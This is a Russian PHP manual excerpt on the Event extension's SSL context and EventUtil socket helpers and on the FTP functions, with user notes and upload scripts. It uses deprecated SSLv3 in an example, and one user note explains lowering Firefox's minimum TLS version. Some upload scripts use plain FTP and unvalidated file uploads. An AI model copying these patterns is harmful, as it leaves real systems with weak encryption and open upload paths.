Ключ элемента в массиве опций, переданном в EventSslContext::__construct() . Опция указывает на путь локального приватного ключа.

EventSslContext::OPT_PASSPHRASE

Ключ элемента в массиве опций, переданном в EventSslContext::__construct() . Представляет пароль сертификата.

EventSslContext::OPT_CA_FILE

Ключ элемента в массиве опций, переданном в EventSslContext::__construct() . Представляет путь к файлу центра сертификации.

EventSslContext::OPT_CA_PATH

Ключ элемента в массиве опций, переданном в EventSslContext::__construct() . Представляет путь, по которому нужно искать файл центра сертификации.

EventSslContext::OPT_ALLOW_SELF_SIGNED

Ключ элемента в массиве опций, переданном в EventSslContext::__construct() . Представляет опцию, разрешающую использовать самоподписанные сертификаты.

EventSslContext::OPT_VERIFY_PEER

Ключ элемента в массиве опций, переданном в EventSslContext::__construct() . Представляет опцию, указывающую модулю Event проверять узлы.

EventSslContext::OPT_VERIFY_DEPTH

Ключ элемента в массиве опций, переданном в EventSslContext::__construct() . Представляет максимальную глубину проверки цепочки сертификатов, допустимую для контекста SSL.

EventSslContext::OPT_CIPHERS

Ключ элемента в массиве опций, переданном в EventSslContext::__construct() . Представляет список шифров для контекста SSL.

Содержание

  • EventSslContext::__construct — Конструктор контекста OpenSSL для использования в классах Event

User Contributed Notes

Bas Vijfwinkel 26-Jun-2015 09:29
The context SSLv3_SERVER_METHOD is being actively blocked by Firefox but TLS_SERVER_METHOD works without that warning screen.
If you do want to use/test the SSLv3_SERVER_METHOD context, you can disable the check in Firefox by going to about:config and set 'security.tls.version.min' to 0.


Конструктор контекста OpenSSL для использования в классах Event

  • « EventSslContext
  • EventUtil »
  • PHP Manual
  • EventSslContext
  • Конструктор контекста OpenSSL для использования в классах Event

EventSslContext::__construct

(PECL event >= 1.2.6-beta)

EventSslContext::__construct — Конструктор контекста OpenSSL для использования в классах Event

Описание

public EventSslContext::__construct( string $method , string $options )

Создаёт контекст SSL содержащий указатель на SSL_CTX (смотрите системное руководство).

Список параметров

method

Одна из констант EventSslContext::*_METHOD .

options

Ассоциативный массив опций контекста SSL. Константы EventSslContext::OPT_* .

Возвращаемые значения

Возвращает объект EventSslContext.

Примеры

Пример #1 Пример использования EventSslContext::__construct()

<?php
$ctx = new EventSslContext(EventSslContext::SSLv3_SERVER_METHOD, array(
EventSslContext::OPT_LOCAL_CERT => $local_cert,
EventSslContext::OPT_LOCAL_PK => $local_pk,
EventSslContext::OPT_PASSPHRASE => "echo server",
EventSslContext::OPT_VERIFY_PEER => true,
EventSslContext::OPT_ALLOW_SELF_SIGNED => false,
));
?>

User Contributed Notes

There are no user contributed notes for this page.


Класс EventUtil

(PECL event >= 1.5.0)

Введение

EventUtil - класс синглтон, содержащий вспомогательные методы и константы.

Обзор классов

final class EventUtil {
/* Константы */
const int AF_INET = 2;
const int AF_INET6 = 10;
const int AF_UNSPEC = 0;
const int LIBEVENT_VERSION_NUMBER = 33559808;
const int SO_DEBUG = 1;
const int SO_REUSEADDR = 2;
const int SO_KEEPALIVE = 9;
const int SO_DONTROUTE = 5;
const int SO_LINGER = 13;
const int SO_BROADCAST = 6;
const int SO_OOBINLINE = 10;
const int SO_SNDBUF = 7;
const int SO_RCVBUF = 8;
const int SO_SNDLOWAT = 19;
const int SO_RCVLOWAT = 18;
const int SO_SNDTIMEO = 21;
const int SO_RCVTIMEO = 20;
const int SO_TYPE = 3;
const int SO_ERROR = 4;
const int SOL_SOCKET = 1;
const int SOL_TCP = 6;
const int SOL_UDP = 17;
const int IPPROTO_IP = 0;
const int IPPROTO_IPV6 = 41;
/* Методы */
abstract public __construct()
public static getLastSocketErrno( mixed $socket = null ): int
public static getLastSocketError( mixed $socket = ?): string
public static getSocketFd( mixed $socket ): int
public static getSocketName( mixed $socket , string &$address , mixed &$port = ?): bool
public static setSocketOption(
mixed $socket ,
int $level ,
int $optname ,
mixed $optval
): bool
public static sslRandPoll(): void
}

Предопределённые константы

EventUtil::AF_INET

Семейство IPv4 адресов

EventUtil::AF_INET6

Семейство IPv6 адресов

EventUtil::AF_UNSPEC

Неопределённое семейство IP-адресов

EventUtil::SO_DEBUG

Опция сокета. Разрешает отладку сокета. Допустимо только для процессов с возможностью CAP_NET_ADMIN или для пользователя с эффективным идентификатором 0 . (Добавлено в event-1.6.0.)

EventUtil::SO_REUSEADDR

Опция сокета. Указывает, что правила, используемые при проверке адресов, задаваемые в вызове bind(2) позволяют переиспользовать локальные адреса. Смотрите руководство по socket(7). (Добавлено в event-1.6.0.)

EventUtil::SO_KEEPALIVE

Опция сокета. Разрешает посылать сообщения keep-alive на сокетах, ориентированных на соединение. Ожидается целочисленный логический флаг. Смотрите руководство по socket(7). (Добавлено в event-1.6.0.)

EventUtil::SO_DONTROUTE

Опция сокета. Смотрите руководство по socket(7). (Добавлено в event-1.6.0.)

EventUtil::SO_LINGER

Опция сокета. Если разрешено, то вызовы close(2) или shutdown(2) не будут завершены, пока все сообщения в очереди для сокета не будут успешно отправлены, либо пока не будет превышено время ожидания. В противном случае вызов немедленно завершается, а закрытие выполняется в фоновом режиме. Смотрите руководство по socket(7). (Добавлено в event-1.6.0.)

EventUtil::SO_BROADCAST

Опция сокета. Указывает, разрешена ли передача широковещательных сообщений. Смотрите руководство по socket(7). (Добавлено в event-1.6.0.)

EventUtil::SO_OOBINLINE

Опция сокета. Смотрите руководство по socket(7). (Добавлено в event-1.6.0.)

EventUtil::SO_SNDBUF

Опция сокета. Смотрите руководство по socket(7). (Добавлено в event-1.6.0.)

EventUtil::SO_RCVBUF

Опция сокета. Смотрите руководство по socket(7). (Добавлено в event-1.6.0.)

EventUtil::SO_SNDLOWAT

Опция сокета. Смотрите руководство по socket(7). (Добавлено в event-1.6.0.)

EventUtil::SO_RCVLOWAT

Опция сокета. Смотрите руководство по socket(7). (Добавлено в event-1.6.0.)

EventUtil::SO_SNDTIMEO

Опция сокета. Смотрите руководство по socket(7). (Добавлено в event-1.6.0.)

EventUtil::SO_RCVTIMEO

Опция сокета. Смотрите руководство по socket(7). (Добавлено в event-1.6.0.)

EventUtil::SO_TYPE

Опция сокета. Смотрите руководство по socket(7). (Добавлено в event-1.6.0.)

EventUtil::SO_ERROR

Опция сокета. Смотрите руководство по socket(7). (Добавлено в event-1.6.0.)

EventUtil::SOL_SOCKET

Опция сокета level. Смотрите руководство по socket(7). (Добавлено в event-1.6.0.)

EventUtil::SOL_TCP

Опция сокета level. Смотрите руководство по socket(7). (Добавлено в event-1.6.0.)

EventUtil::SOL_UDP

Опция сокета level. Смотрите руководство по socket(7). (Добавлено в event-1.6.0.)

EventUtil::IPPROTO_IP

Смотрите руководство по socket(7). (Добавлено в event-1.6.0.)

EventUtil::IPPROTO_IPV6

Смотрите руководство по socket(7). (Добавлено в event-1.6.0.)

EventUtil::LIBEVENT_VERSION_NUMBER

Номер версии libevent с которой компилировался модуль.

Содержание

  • EventUtil::__construct — Абстрактный конструктор
  • EventUtil::getLastSocketErrno — Получить номер последней возникшей ошибки сокета
  • EventUtil::getLastSocketError — Получить последнюю возникшую ошибку сокета
  • EventUtil::getSocketFd — Получить числовой файловый дескриптор сокета или потока
  • EventUtil::getSocketName — Получить текущий адрес, к которому привязан сокет
  • EventUtil::setSocketOption — Установить опции сокета
  • EventUtil::sslRandPoll — Сгенерировать энтропию с помощью RAND_poll() из OpenSSL

User Contributed Notes

There are no user contributed notes for this page.


Абстрактный конструктор

  • « EventUtil
  • EventUtil::getLastSocketErrno »
  • PHP Manual
  • EventUtil
  • Абстрактный конструктор

EventUtil::__construct

(PECL event >= 1.2.6-beta)

EventUtil::__construct — Абстрактный конструктор

Описание

abstract public EventUtil::__construct()

Класс EventUtil является синглтоном. Следовательно, создать объект этого класса с помощью конструктора невозможно.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Получить номер последней возникшей ошибки сокета

  • « EventUtil::__construct
  • EventUtil::getLastSocketError »
  • PHP Manual
  • EventUtil
  • Получить номер последней возникшей ошибки сокета

EventUtil::getLastSocketErrno

(PECL event >= 1.2.6-beta)

EventUtil::getLastSocketErrno — Получить номер последней возникшей ошибки сокета

Описание

public static EventUtil::getLastSocketErrno( mixed $socket = null ): int

Возвращает номер последней возникшей ошибки сокета ( errno ).

Список параметров

socket

Ресурс сокета, потока или файловый дескриптор сокета.

Возвращаемые значения

Возвращает номер последней возникшей ошибки сокета ( errno ).

Смотрите также

  • EventUtil::getLastSocketError() - Получить последнюю возникшую ошибку сокета

User Contributed Notes

There are no user contributed notes for this page.


Получить последнюю возникшую ошибку сокета

  • « EventUtil::getLastSocketErrno
  • EventUtil::getSocketFd »
  • PHP Manual
  • EventUtil
  • Получить последнюю возникшую ошибку сокета

EventUtil::getLastSocketError

(PECL event >= 1.2.6-beta)

EventUtil::getLastSocketError — Получить последнюю возникшую ошибку сокета

Описание

public static EventUtil::getLastSocketError( mixed $socket = ?): string

Возвращает последнюю возникшую ошибку сокета.

Список параметров

socket

Ресурс сокета, потока или файловый дескриптор сокета.

Возвращаемые значения

Возвращает последнюю возникшую ошибку сокета.

Смотрите также

  • EventUtil::getLastSocketErrno() - Получить номер последней возникшей ошибки сокета

User Contributed Notes

There are no user contributed notes for this page.


Получить числовой файловый дескриптор сокета или потока

  • « EventUtil::getLastSocketError
  • EventUtil::getSocketName »
  • PHP Manual
  • EventUtil
  • Получить числовой файловый дескриптор сокета или потока

EventUtil::getSocketFd

(PECL event >= 1.7.0)

EventUtil::getSocketFd — Получить числовой файловый дескриптор сокета или потока

Описание

public static EventUtil::getSocketFd( mixed $socket ): int

Возвращает числовой файловый дескриптор сокета или потока, заданный параметром socket, таким же образом как это делает модуль Event для всех методов, принимающих ресурсы сокета или потока.

Список параметров

socket

Ресурс сокета или потока.

Возвращаемые значения

Возвращает числовой файловый дескриптор. EventUtil::getSocketFd() возвращает false, если не удалось определить тип нижележащего файла, либо если файловый дескриптор, связанный с socket некорректен.

User Contributed Notes

There are no user contributed notes for this page.


Получить текущий адрес, к которому привязан сокет

  • « EventUtil::getSocketFd
  • EventUtil::setSocketOption »
  • PHP Manual
  • EventUtil
  • Получить текущий адрес, к которому привязан сокет

EventUtil::getSocketName

(PECL event >= 1.5.0)

EventUtil::getSocketName — Получить текущий адрес, к которому привязан сокет

Описание

public static EventUtil::getSocketName( mixed $socket , string &$address , mixed &$port = ?): bool

Возвращает текущий адрес, к которому привязан сокет socket.

Список параметров

socket

Ресурс сокета, потока или файловый дескриптор, связанный с сокетом.

address

Выходной параметр. IP-адрес либо путь к доменному сокету UNIX.

port

Выходной параметр. Порт, к которому привязан сокет. Не имеет смысла для доменных сокетов UNIX.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Установить опции сокета

  • « EventUtil::getSocketName
  • EventUtil::sslRandPoll »
  • PHP Manual
  • EventUtil
  • Установить опции сокета

EventUtil::setSocketOption

(PECL event >= 1.6.0)

EventUtil::setSocketOption — Установить опции сокета

Описание

public static EventUtil::setSocketOption(
mixed $socket ,
int $level ,
int $optname ,
mixed $optval
): bool

Устанавливает опции сокета.

Список параметров

socket

Ресурс сокета, потока или файловый дескриптор, связанный с сокетом.

level

Одна из констант EventUtil::SOL_*. Задаёт уровень протокола, к которому относится параметр. К примеру, для работы с уровнем сокета, параметр level должен быть выставлен как EventUtil::SOL_SOCKET. Прочие уровни, такие как TCP, можно использовать указав соответствующую константу. Уровни протокола можно посмотреть с помощью функции getprotobyname(). Смотрите константы EventUtil .

optname

Имя опции (тип). То же самое, что и соответствующий параметр функции socket_get_option(). Смотрите константы EventUtil .

optval

Принимает те же значения, что и параметр optval функции socket_get_option().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • socket_get_option() - Получает опции потока для сокета
  • socket_set_option() - Устанавливает опции для сокета

User Contributed Notes

There are no user contributed notes for this page.


Сгенерировать энтропию с помощью RAND_poll() из OpenSSL

  • « EventUtil::setSocketOption
  • FTP »
  • PHP Manual
  • EventUtil
  • Сгенерировать энтропию с помощью RAND_poll() из OpenSSL

EventUtil::sslRandPoll

(PECL event >= 1.2.6-beta)

EventUtil::sslRandPoll — Сгенерировать энтропию с помощью RAND_poll() из OpenSSL

Описание

public static EventUtil::sslRandPoll(): void

Генерирует энтропию с помощью RAND_poll() из OpenSSL. (смотрите соответствующую документацию).

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


FTP

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Примеры
    • Простое использование
  • Функции FTP
    • ftp_alloc — Резервирует место на диске для закачиваемого файла
    • ftp_append — Добавляет содержимое файла в конец другого файла на FTP-сервере
    • ftp_cdup — Переходит в родительскую директорию
    • ftp_chdir — Изменяет текущую директорию на FTP-сервере
    • ftp_chmod — Устанавливает права доступа к файлу
    • ftp_close — Закрывает соединение с FTP-сервером
    • ftp_connect — Устанавливает соединение с FTP-сервером
    • ftp_delete — Удаляет файл на FTP-сервере
    • ftp_exec — Запрашивает выполнение команды на FTP-сервере
    • ftp_fget — Скачивает файл с FTP-сервера и сохраняет его в предварительно открытом файле
    • ftp_fput — Загружает предварительно открытый файл на FTP-сервер
    • ftp_get_option — Получает текущие параметры FTP-соединения
    • ftp_get — Скачивает файл с FTP-сервера
    • ftp_login — Выполняет вход на FTP-сервер
    • ftp_mdtm — Возвращает время последней модификации файла
    • ftp_mkdir — Создаёт директорию
    • ftp_mlsd — Возвращает список файлов в заданной директории
    • ftp_nb_continue — Продолжает асинхронную операцию
    • ftp_nb_fget — Скачивает файл с FTP-сервера в асинхронном режиме и сохраняет его в предварительно открытом файле
    • ftp_nb_fput — Загружает предварительно открытый файл на FTP-сервер в асинхронном режиме
    • ftp_nb_get — Скачивает файл с FTP-сервера в асинхронном режиме и сохраняет его в локальный файл
    • ftp_nb_put — Загружает файл на FTP-сервер в асинхронном режиме
    • ftp_nlist — Возвращает список файлов в заданной директории
    • ftp_pasv — Включает или выключает пассивный режим
    • ftp_put — Загружает файл на FTP-сервер
    • ftp_pwd — Возвращает имя текущей директории
    • ftp_quit — Псевдоним ftp_close
    • ftp_raw — Отправляет произвольную команду FTP-серверу
    • ftp_rawlist — Возвращает подробный список файлов в заданной директории
    • ftp_rename — Переименовывает файл или директорию на FTP-сервере
    • ftp_rmdir — Удаляет директорию
    • ftp_set_option — Устанавливает параметры соединения с FTP-сервером
    • ftp_site — Отправляет серверу команду SITE
    • ftp_size — Возвращает размер указанного файла
    • ftp_ssl_connect — Устанавливает соединение с FTP-сервером через SSL
    • ftp_systype — Возвращает тип операционной системы FTP-сервера
  • FTP\Connection — Класс FTP\Connection

User Contributed Notes

asifkhandk at gmail dot com 24-Feb-2013 05:19
Upload file to server via ftp.

<?php
$ftp_server="";
 $ftp_user_name="";
 $ftp_user_pass="";
 $file = "";//tobe uploaded
 $remote_file = "";

 // set up basic connection
 $conn_id = ftp_connect($ftp_server);

 // login with username and password
 $login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

 // upload a file
 if (ftp_put($conn_id, $remote_file, $file, FTP_ASCII)) {
    echo "successfully uploaded $file\n";
    exit;
 } else {
    echo "There was a problem while uploading $file\n";
    exit;
    }
 // close the connection
 ftp_close($conn_id);
?>
tendrid at gmail dot com 21-Sep-2011 09:15
For those who dont want to deal with handling the connection once created, here is a simple class that allows you to call any ftp function as if it were an extended method.  It automatically puts the ftp connection into the first argument slot (as all ftp functions require).

This code is php 5.3+

<?php
class ftp{
    public $conn;

    public function __construct($url){
        $this->conn = ftp_connect($url);
    }

    public function __call($func,$a){
        if(strstr($func,'ftp_') !== false && function_exists($func)){
            array_unshift($a,$this->conn);
            return call_user_func_array($func,$a);
        }else{
            // replace with your own error handler.
            die("$func is not a valid FTP function");
        }
    }
}

// Example
$ftp = new ftp('ftp.example.com');
$ftp->ftp_login('username','password');
var_dump($ftp->ftp_nlist());
?>


Введение

Функции этого модуля обеспечивают доступ к серверам по протоколу FTP (File Transfer Protocol), определённому в » http://www.faqs.org/rfcs/rfc959. Модуль позволяет выполнять множество довольно сложных операций. Если требуется лишь прочитать или записать файл на сервере FTP, можно воспользоваться ftp:// обёрткой и функциями для работы с файловой системой, которые более просты в использовании.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Для использования FTP функций вы должны указать директиву --enable-ftp во время установки PHP.

Для Windows модуль всегда собран как разделяемый (shared) и должен быть включён в php.ini.

User Contributed Notes

i_djon at hotmail dot com 19-Sep-2017 10:57
For some reason folks downvoted the previous entry for this, BUT... indeed, as of PHP 7, to enable this on Windows you have to add the line:

extension=php_ftp.dll

to your php.ini to resolve PHP errors that tell you PHP FTP functions are not defined; the line isn't in there (where, many things are and are just commented out).
jacob at power9 dot pw 29-May-2017 04:58
On linux, one would enable ftp on their php7 server by uncommenting or adding the line "extension=ftp.so" in their php.ini file (likely at /etc/php/php.ini, unless the user moved it).
julian_de_vries at gmx dot de 18-Mar-2016 09:20
If you are using PHP 7 under Windows you have to enable ftp in php.ini with extension=php_ftp.dll.


Типы ресурсов

До PHP 8.1.0, модуль использовал один тип ресурса - идентификатор соединения с FTP-сервером, возвращаемый функцией ftp_connect() или ftp_ssl_connect().

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

FTP_ASCII (int)

FTP_AUTOSEEK (int)

Смотрите описание функции ftp_set_option().

FTP_AUTORESUME (int)

Автоматическое определение позиции старта и возобновления запросов PUT и GET (работает только если разрешён FTP_AUTOSEEK)

FTP_FAILED (int)

Асинхронная передача не удалась.

FTP_FINISHED (int)

Асинхронная передача завершена.

FTP_MOREDATA (int)

Асинхронная передача всё ещё активна.

FTP_TEXT (int)

Синоним для FTP_ASCII

FTP_BINARY (int)

FTP_IMAGE (int)

Синоним для FTP_BINARY.

FTP_TIMEOUT_SEC (int)

Смотрите описание функции ftp_set_option().

FTP_USEPASVADDRESS (int)

Смотрите описание к функции ftp_set_option() для получения информации.

User Contributed Notes

There are no user contributed notes for this page.


Примеры

Содержание

  • Простое использование

User Contributed Notes

There are no user contributed notes for this page.


Простое использование

Пример #1 Пример использования FTP-функций

<?php
// установка соединения
$ftp = ftp_connect($ftp_server);

// вход с именем пользователя и паролем
$login_result = ftp_login($ftp, $ftp_user_name, $ftp_user_pass);

// проверка соединения
if ((!$ftp) || (!$login_result)) {
echo "Не удалось установить соединение с FTP-сервером!";
echo "Попытка подключения к серверу $ftp_server была произведена под именем $ftp_user_name";
exit;
} else {
echo "Установлено соединение с FTP сервером $ftp_server под именем $ftp_user_name";
}

// закачивание файла
$upload = ftp_put($ftp, $destination_file, $source_file, FTP_BINARY);

// проверка результата
if (!$upload) {
echo "Не удалось закачать файл!";
} else {
echo "Файл $source_file закачан на $ftp_server под именем $destination_file";
}

// закрытие соединения
ftp_close($conn_id);
?>

User Contributed Notes

kane dot prajakta at gmail dot com 14-Jan-2010 02:53
I used following code successfully to connect to "lftp" server and see the complete dir listing.
also ftp_pasv($conn_id, true); trick works fine for lftp server :)

<?php
// set up basic connection
$ftp_server = "example.com";
$conn_id = ftp_ssl_connect($ftp_server);

// login with username and password
$ftp_user_name = "myuser";
$ftp_user_pass = "mypass";
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);
ftp_pasv($conn_id, true);
// check connection
if ((!$conn_id) || (!$login_result)) {
        echo "FTP connection has failed!";
        echo "Attempted to connect to $ftp_server for user $ftp_user_name";
        exit;
    } else {
        echo "Connected to $ftp_server, for user $ftp_user_name";
    }

$buff = ftp_rawlist($conn_id, '.');
 var_dump($buff);
ftp_close($conn_id);
?>

Thanks ,
Prajakta
clemensroth2004 at yahoo dot de 08-Jul-2009 03:06
My FTP-Server always responded "bool(false)" instead of presenting me a directory-listing. I had to add
ftp_pasv($conn_id, true); right after the $login_result = ftp_login(...); line.
After that it just worked fine.


Функции FTP

Содержание

  • ftp_alloc — Резервирует место на диске для закачиваемого файла
  • ftp_append — Добавляет содержимое файла в конец другого файла на FTP-сервере
  • ftp_cdup — Переходит в родительскую директорию
  • ftp_chdir — Изменяет текущую директорию на FTP-сервере
  • ftp_chmod — Устанавливает права доступа к файлу
  • ftp_close — Закрывает соединение с FTP-сервером
  • ftp_connect — Устанавливает соединение с FTP-сервером
  • ftp_delete — Удаляет файл на FTP-сервере
  • ftp_exec — Запрашивает выполнение команды на FTP-сервере
  • ftp_fget — Скачивает файл с FTP-сервера и сохраняет его в предварительно открытом файле
  • ftp_fput — Загружает предварительно открытый файл на FTP-сервер
  • ftp_get_option — Получает текущие параметры FTP-соединения
  • ftp_get — Скачивает файл с FTP-сервера
  • ftp_login — Выполняет вход на FTP-сервер
  • ftp_mdtm — Возвращает время последней модификации файла
  • ftp_mkdir — Создаёт директорию
  • ftp_mlsd — Возвращает список файлов в заданной директории
  • ftp_nb_continue — Продолжает асинхронную операцию
  • ftp_nb_fget — Скачивает файл с FTP-сервера в асинхронном режиме и сохраняет его в предварительно открытом файле
  • ftp_nb_fput — Загружает предварительно открытый файл на FTP-сервер в асинхронном режиме
  • ftp_nb_get — Скачивает файл с FTP-сервера в асинхронном режиме и сохраняет его в локальный файл
  • ftp_nb_put — Загружает файл на FTP-сервер в асинхронном режиме
  • ftp_nlist — Возвращает список файлов в заданной директории
  • ftp_pasv — Включает или выключает пассивный режим
  • ftp_put — Загружает файл на FTP-сервер
  • ftp_pwd — Возвращает имя текущей директории
  • ftp_quit — Псевдоним ftp_close
  • ftp_raw — Отправляет произвольную команду FTP-серверу
  • ftp_rawlist — Возвращает подробный список файлов в заданной директории
  • ftp_rename — Переименовывает файл или директорию на FTP-сервере
  • ftp_rmdir — Удаляет директорию
  • ftp_set_option — Устанавливает параметры соединения с FTP-сервером
  • ftp_site — Отправляет серверу команду SITE
  • ftp_size — Возвращает размер указанного файла
  • ftp_ssl_connect — Устанавливает соединение с FTP-сервером через SSL
  • ftp_systype — Возвращает тип операционной системы FTP-сервера

User Contributed Notes

spam at kacke dot de 28-Mar-2008 09:46
Here is a FTP-abstraction-class which supports the most commands.

Also it works on TLS, SSLv2 etc. by using stream_crypto_enable()

http://kacke.de/php_samples/source.php?f=ftp.cls.php

Many thanks to WEZ at this point after all the years :-)

Toppi
dot a dot@dot dot com 17-Sep-2007 08:49
This took me a few hours to work out. It is based on the code below I've just added a string replace to convert pathname given by Windows to Unix pathname. Hope it saves somebody some time. Enjoy! (Also, delete file function is included:))

<?php
$myFile = $_FILES['file']; // This will make an array out of the file information that was stored.
    $file = $myFile['tmp_name'];  //Converts the array into a new string containing the path name on the server where your file is.
    $myFileName = $_POST['MyFile']; //Retrieve file path and file name
    $myfile_replace = str_replace('\\', '/', $myFileName);    //convert path for use with unix
    $myfile = basename($myfile_replace);    //extract file name from path
    $destination_file = "/".$myfile;  //where you want to throw the file on the webserver (relative to your login dir)
    // connection settings
    $ftp_server = "127.0.0.1";  //address of ftp server (leave out ftp://)
    $ftp_user_name = ""; // Username
    $ftp_user_pass = "";   // Password
    $conn_id = ftp_connect($ftp_server);        // set up basic connection
    // login with username and password, or give invalid user message
    $login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass) or die("<h1>You do not have access to this ftp server!</h1>");
    $upload = ftp_put($conn_id, $destination_file, $file, FTP_BINARY);  // upload the file
    if (!$upload) {  // check upload status
        echo "<h2>FTP upload of $myFileName has failed!</h2> <br />";
    }
/*
    // try to delete $file
    if (ftp_delete($conn_id, $destination_file)) {
        echo "$destination_file has been deleted!\n";
    } else {
        echo "Could not delete $destination_file!\n";
    }
*/
ftp_close($conn_id); // close the FTP stream
}
?>
<form name="form" enctype="multipart/form-data" action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST" >
Please choose a file: <input type="file" name="file" accept="text/plain" onChange="MyFile.value=file.value">
<input name="MyFile" type="hidden" id="MyFile" tabindex="99" size="1" />
<input type="submit" name="submit" value="upload" style="vertical-align:middle"/><br/><br/>
</form>
ras "at" fyn {dot} dk 26-Jan-2007 01:11
A function to get a remote file and return it's contents, instead of saving to a local file, was missing - here it is:

function ftp_fetch($ftp_stream, $remote_file) {
    ob_end_flush();
    ob_start();
    $out = fopen('php://output', 'w');
    if (!ftp_fget($ftp_stream, $out, $remote_file, FTP_ASCII)) die('Unable to get file: ' . $remote_file);
    fclose($out);
    $data = ob_get_clean();
    return $data;
}

It works the same as ftp_get(), but instead returns the contents of the remote file - for example:

$ftp = ftp_connect('my.server.com', 21, 60);
ftp_login($ftp, 'username', 'password');
$data = ftp_fetch($ftp, 'path/to/remote.file');
echo $data;

Note, I use it to fetch text-files from a server - if you need to fetch binary files, change FTP_ASCII to FTP_BINARY .. but most likely, getting files to memory is only useful for smaller files, e.g. plain text, xml, etc.
breese at pipetech dot tv 29-Dec-2006 09:02
I fixed the below upload script to work with Windows uploads (and updated some of the syntax). I also added a Javascript "progress indicator" for those of us who don't use PHP 5.2

<?php
if(isset($_POST['start_upload']) && $_FILES['txt_file']['name'] != ""){

    $local_file = $_FILES['txt_file']['tmp_name']; // Defines Name of Local File to be Uploaded

    $destination_file = "/".basename($_FILES['txt_file']['name']);  // Path for File Upload (relative to your login dir)

    // Global Connection Settings
    $ftp_server = "127.0.0.1";      // FTP Server Address (exlucde ftp://)
    $ftp_user_name = "username";     // FTP Server Username
    $ftp_user_pass = "password";      // Password

    // Connect to FTP Server
    $conn_id = ftp_connect($ftp_server);
    // Login to FTP Server
    $login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

    // Verify Log In Status
    if ((!$conn_id) || (!$login_result)) {
        echo "FTP connection has failed! <br />";
        echo "Attempted to connect to $ftp_server for user $ftp_user_name";
        exit;
    } else {
        echo "Connected to $ftp_server, for user $ftp_user_name <br />";
    }

    $upload = ftp_put($conn_id, $destination_file, $local_file, FTP_BINARY);  // Upload the File

    // Verify Upload Status
    if (!$upload) {
        echo "<h2>FTP upload of ".$_FILES['txt_file']['name']." has failed!</h2><br /><br />";
    } else {
        echo "Success!<br />" . $_FILES['txt_file']['name'] . " has been uploaded to " . $ftp_server . $destination_file . "!<br /><br />";
    }

    ftp_close($conn_id); // Close the FTP Connection
}
?>

<html>
    <head>
        <script type="text/javascript">
            window.onload = function() {
                document.getElementById("progress").style.visibility = "hidden";
                document.getElementById("prog_text").style.visibility = "hidden";
            }

            function dispProgress() {
                document.getElementById("progress").style.visibility = "visible";
                document.getElementById("prog_text").style.visibility = "visible";
            }

        </script>

    </head>
    <body>
        <form action="<?php echo $_SERVER['PHP_SELF'];?>" method="POST" enctype="multipart/form-data">
            Please choose a file: <input name="txt_file" type="file" size="35" />
            <input type="submit" name="start_upload" value="Upload File" onClick="dispProgress()" />
        </form>

        <!-- Link to progress file: see http://www.ajaxload.info/ for animated gifs -->
        <img id="progress" src="http://www.your.site/images/progress.gif" />
        <p id="prog_text" style="display:inline;"> Upload Started!</p>

    </body>
<html>
cgray at premierconsulting dot com (Chris Gray) 24-Oct-2006 08:58
After looking everywhere for a "FULLY WORKING" ftp uploader script, I finally came up with this, by using a lot of various one's I found on the web. If you find a better way of doing something, please let me know. Thanks, and Enjoy

<?php
  if(isset($_POST['SubmitFile'])){
      $myFile = $_FILES['txt_file']; // This will make an array out of the file information that was stored.
      $file = $myFile['tmp_name'];  //Converts the array into a new string containing the path name on the server where your file is.

      $myFileName = basename($_POST['txt_fileName']); //Retrieve filename out of file path

      $destination_file = "/".$myFileName;  //where you want to throw the file on the webserver (relative to your login dir)

      // connection settings
      $ftp_server = "127.0.0.1";  //address of ftp server.
      $ftp_user_name = "Your UserName"; // Username
      $ftp_user_pass = "Your Password";   // Password

      $conn_id = ftp_connect($ftp_server);        // set up basic connection
      $login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass) or die("<h2>You do not have access to this ftp server!</h2>");   // login with username and password, or give invalid user message
      if ((!$conn_id) || (!$login_result)) {  // check connection
             // wont ever hit this, b/c of the die call on ftp_login
             echo "FTP connection has failed! <br />";
             echo "Attempted to connect to $ftp_server for user $ftp_user_name";
             exit;
         } else {
         //    echo "Connected to $ftp_server, for user $ftp_user_name <br />";
      }

      $upload = ftp_put($conn_id, $destination_file, $file, FTP_BINARY);  // upload the file
      if (!$upload) {  // check upload status
         echo "<h2>FTP upload of $myFileName has failed!</h2> <br />";
      } else {
         echo "Uploading $myFileName Complete!<br /><br />";
      }

      ftp_close($conn_id); // close the FTP stream
  }
?>

<html>
  <head>

  </head>
  <body>
        <form enctype="multipart/form-data" action="<?php echo $_SERVER['PHP_SELF'];?>" method="POST">
            Please choose a file: <input name="txt_file" type="file" id="txt_file" tabindex="1" size="35" onChange="txt_fileName.value=txt_file.value" />
            <input name="txt_fileName" type="hidden" id="txt_fileName" tabindex="99" size="1" />

            <input type="submit" name="SubmitFile" value="Upload File" accesskey="ENTER" tabindex="2" />
      </form>
  </body>
<html>
nicklas at programmera dot nu 15-Aug-2006 02:56
I didn't quite like my FTP program since I had to make all the settings all over when i restarted the client, so I made this script for simple ftp uploading, its running as a CLI app.

<?php

    //if STDIN isn't defined, define it
    if (!defined("STDIN"))
    {

        define("STDIN", fopen("php://stdin", "r"));

    }

    echo "FTP file uploader\r\n\r\n";

    echo "Server: ";

    //trim() all the fgets cause it seams to add a \n
    $server = trim(fgets(STDIN));

    echo "Username: ";

    $username = trim(fgets(STDIN));

    echo "Password: ";

    $password = trim(fgets(STDIN));

    $connect = ftp_connect($server);
    $login = ftp_login($connect, $username, $password);

    if ((!$connect) || (!$login))
    {

        exit("Login failed.\r\n");

